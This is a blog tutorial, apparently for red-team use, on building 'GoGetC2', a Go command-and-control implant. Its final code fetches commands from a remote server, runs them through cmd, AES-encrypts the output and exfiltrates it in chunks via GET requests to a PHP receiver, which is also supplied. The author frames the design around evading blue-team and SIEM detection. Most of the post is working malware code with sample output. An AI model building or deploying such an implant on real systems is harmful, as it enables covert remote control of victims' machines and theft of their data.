GoGetC2 – Build Command and Control (Part 2)

If you had a chance to read the first part of this C2, you'll notice it's very basic. It's just reading the command and sending out the output, but not much else is going on. Using this C2 in a Red Team engagement would be a bad idea, considering our commands are in plain text, the GET requests don’t simulate a real browser, we don't have a user id, no loop, the Go code isn’t obfuscated, and much more. We might get away with it for a bit, but once we get caught, all our bridges will be burned.

We can get rid of the most complicated part of this project, encryption. By reviewing Golang documentation on AES, https://pkg.go.dev/crypto/aes, we can create a function that encrypts our output before sending our GET request.

No need to reinvent the wheel so looking at hackernoon.com note we can grab the function 'encryptAES'.
https://hackernoon.com/reliable-protection-of-user-data-hashing-and-obfuscation

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "encoding/base64"
    "fmt"
    "io"
)

func encryptAES(plaintext, key string) (string, error) {
    block, err := aes.NewCipher([]byte(key))
    if err != nil {
        return "", err
    }
    
    cipherText := make([]byte, aes.BlockSize+len(plaintext))
    iv := cipherText[:aes.BlockSize]

    if _, err := io.ReadFull(rand.Reader, iv); err != nil {
        return "", err
    }

    stream := cipher.NewCFBEncrypter(block, iv)
    stream.XORKeyStream(cipherText[aes.BlockSize:], []byte(plaintext))

    return base64.URLEncoding.EncodeToString(cipherText), nil
}

func main() {
    key := "myVerySecretKey12" // AES-128/256
    data := "User Email: user@example.com"

    encrypted, err := encryptAES(data, key)
    if err != nil {
        panic(err)
    }

    fmt.Println("Encrypted Data:", encrypted)
}

This setup looks solid as it's using AES for encryption and then base64 to make it easier to send over the web. The problem is, base64 sticks out like a sore thumb. A blue teamer or a decent SIEM can spot it fast, and honestly, I’d hate for that to be the reason we get burned.

yKv9qvNcitgjYerX09aNDeABWiftGyalayWVc-eShw==

On top of it all, this could get very lengthy so we got to find another solution.

Encryption functions:

func encryptAES(plaintext, key string) (string, error) {
    block, err := aes.NewCipher([]byte(key))
    if err != nil {
        return "", err
    }

    cipherText := make([]byte, aes.BlockSize+len(plaintext))
    iv := cipherText[:aes.BlockSize]

    if _, err := io.ReadFull(rand.Reader, iv); err != nil {
        return "", err
    }

    stream := cipher.NewCFBEncrypter(block, iv)
    stream.XORKeyStream(cipherText[aes.BlockSize:], []byte(plaintext))

    return base64.URLEncoding.EncodeToString(cipherText), nil
}

Function to use that slices a string input multiple of chunks:

func chunkString(s string, chunkSize int) []string {
    var chunks []string
    for i := 0; i < len(s); i += chunkSize {
        end := i + chunkSize
        if end > len(s) {
            end = len(s)
        }
        chunks = append(chunks, s[i:end])
    }
    return chunks
}

Lastly lets exfil each chunk using GET request.

func exfiltrateChunks(encrypted string) {
    chunks := chunkString(encrypted, 100) 
    for i, chunk := range chunks {
        exfilURL := fmt.Sprintf("https://domain.name.com/GoGet/receiver.php?part=%d&data=%s",
            i, url.QueryEscape(chunk))

        resp, err := http.Get(exfilURL)
        if err != nil {
            fmt.Printf("Chunk %d failed: %v\n", i, err)
            continue
        }
        resp.Body.Close()
        fmt.Printf("Chunk %d sent.\n", i)
    }
}

Before we run this code, lets fix up our PHP receiver to save each chunk in a temp file and then once the last chunk is added, put them together and save as one string.

<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);


$chunkFile = '/data/chunks.tmp';
$resultFile = '/data/C2_results.txt';

// Handle chunk reception
if (isset($_GET['part']) && isset($_GET['data'])) {
    $part = (int)$_GET['part'];
    $data = $_GET['data'];

    // Save the chunk to temporary file
    file_put_contents($chunkFile, "$part:$data\n", FILE_APPEND | LOCK_EX);
    echo "Chunk $part received";
    exit;
}

// If "done" meaning last chunk sent
if (isset($_GET['done']) && $_GET['done'] == 1) {
    if (!file_exists($chunkFile)) {
        echo "No chunks found.";
        exit;
    }

    // Read and sort chunks
    $lines = file($chunkFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $chunks = [];

    foreach ($lines as $line) {
        [$part, $data] = explode(':', $line, 2);
        $chunks[(int)$part] = $data;
    }

    ksort($chunks);
    $reassembled = implode('', $chunks);

    // Save the full results
    $timestamp = date("Y-m-d H:i:s");
    file_put_contents($resultFile, "[$timestamp] $reassembled\n", FILE_APPEND | LOCK_EX);

    // Clean up temp file
    unlink($chunkFile);

    echo "All chunks assembled and saved.";
    exit;
}

// Default response
echo "Waiting for chunks...";
?>

This receiver will wait for 'done' flag, once this arrives it will put all strings together in order and clean up the temp file.

Final Golang code for GoGetC2:

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "encoding/base64"
    "fmt"
    "io"
    "net/http"
    "net/url"
    "os/exec"
    "strings"
)

// AES Encryption

func encryptAES(plaintext, key string) (string, error) {
    block, err := aes.NewCipher([]byte(key))
    if err != nil {
        return "", err
    }
    cipherText := make([]byte, aes.BlockSize+len(plaintext))
    iv := cipherText[:aes.BlockSize]

    if _, err := io.ReadFull(rand.Reader, iv); err != nil {
        return "", err
    }
    stream := cipher.NewCFBEncrypter(block, iv)
    stream.XORKeyStream(cipherText[aes.BlockSize:], []byte(plaintext))

    return base64.URLEncoding.EncodeToString(cipherText), nil
}

// Chunk Logic
func chunkString(s string, chunkSize int) []string {
    var chunks []string
    for i := 0; i < len(s); i += chunkSize {
        end := i + chunkSize
        if end > len(s) {
            end = len(s)
        }
        chunks = append(chunks, s[i:end])
    }
    return chunks
}

func exfiltrateChunks(encrypted string) {
    chunks := chunkString(encrypted, 100)
    baseURL := "https://domain.name.com/GoGet/receiver.php"

    for i, chunk := range chunks {
        exfilURL := fmt.Sprintf("%s?part=%d&data=%s", baseURL, i, url.QueryEscape(chunk))
        resp, err := http.Get(exfilURL)
        if err != nil {
            fmt.Printf("Chunk %d failed: %v\n", i, err)
            continue
        }
        resp.Body.Close()
    }

    // Send final signal
    finalURL := fmt.Sprintf("%s?done=1", baseURL)
    http.Get(finalURL)
    
}

// C2 Command
func fetchCommand() (string, error) {
    commandURL := "https://domain.name.com/GoGet/command.txt"
    resp, err := http.Get(commandURL)
    if err != nil {
        return "", fmt.Errorf("GET request failed: %v", err)
    }
    defer resp.Body.Close()
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        return "", fmt.Errorf("reading response failed: %v", err)
    }
    return strings.TrimSpace(string(body)), nil
}

func executeCommand(cmd string) string {
    out, err := exec.Command("cmd", "/C", cmd).CombinedOutput()
    if err != nil {
        return fmt.Sprintf("Error: %v\n%s", err, string(out))
    }
    return string(out)
}

func main() {
    cmd, err := fetchCommand()
    if err != nil {
        fmt.Println("Error fetching command:", err)
        return
    }
    result := executeCommand(cmd)

    key := "thisis32bitlongpassphraseimusing"
    encrypted, err := encryptAES(result, key)
    if err != nil {
        fmt.Println("Encryption failed:", err)
        return
    }

    exfiltrateChunks(encrypted)
}

Output from receiver.php for command whoami:
└─$ cat /sitefolder/data/C2_results.txt
[2025-07-21 03:58:42] 2qidz0aLs-S7xwxnWi0_QqV5JlounkSg6LCoDm6UJA==

Leave a Reply

Your email address will not be published. Required fields are marked *